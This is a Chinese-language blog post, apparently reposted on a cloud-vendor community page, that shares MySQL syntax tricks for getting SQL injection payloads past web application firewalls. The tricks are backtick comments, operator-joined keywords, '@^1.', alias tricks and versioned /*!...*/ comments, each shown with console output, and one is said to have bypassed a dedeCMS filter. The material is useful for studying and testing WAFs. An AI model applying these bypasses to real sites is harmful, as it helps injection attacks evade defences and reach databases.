過國內外的waf的一些奇淫絕技

來源:互聯網
上載者:User

作者:livers
研究過國內外的waf。分享一些 奇淫絕技。
一些大家都瞭解的技巧如:/*!*/,SELECT[0x09,0x0A-0x0D,0x20,0xA0]xx FROM 不再重造輪子。
Mysql

tips1: 神奇的 `  (格式輸出表的那個控制符)

過空格和一些正則。

mysql> select`version`();
+----------------------+
|
`version`()
|
+----------------------+
|
5.1.50-community-log |
+----------------------+
1 row in set
(0.00 sec)

一個更好玩的技巧,這個`控制符可以當注釋符用(限定條件)。
mysql> select id from qs_admins where id=1;`dfff and comment it;
+----+
| id |
+----+
|
1
|
+----+
1 row in set
(0.00 sec)

usage : where  id =’0′`’xxxxcomment on.

tips2:神奇的- + .

mysql> select id from qs_admins;
+----+
| id |
+----+
|
1
|
+----+
1 row in set
(0.00 sec)   mysql> select+id-1+1.from qs_admins;
+----------+
|
+id-1+1.
|
+----------+
|
1
|
+----------+
1 row in set
(0.00 sec)   mysql> select-id-1+3.from qs_admins;
+----------+
|
-id-1+3.
|
+----------+
|
1
|
+----------+
1 row in set
(0.00 sec)
(有些人不是一直在說關鍵字怎麼過?過濾一個from …    就是這樣連起來過)

tips3: @

mysql> select@^1.from qs_admins;
+------|+
|
@^1.
|
+------|+
| NULL |
+------|+
這個是bypass  曾經dedeCMS filter .
或者這樣也是ok.

tips4:mysql function() as xxx  也可以不用as 和空格

mysql> select-count(id)test from qs_admins;
+------|+
| test |
+------|+
|
-1
|
+------|+
1 row in set
(0.00 sec)
tips5:/*![>5000]*/ 新構造  版本號碼(這個可能有些過時了。)
mysql>
/\*!40000select\*/ id from qs_admins;
+----+
| id |
+----+
|
1
|
+----+
1 row in set
(0.00 sec)
先分享這麼多,哈。
作者:livers

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.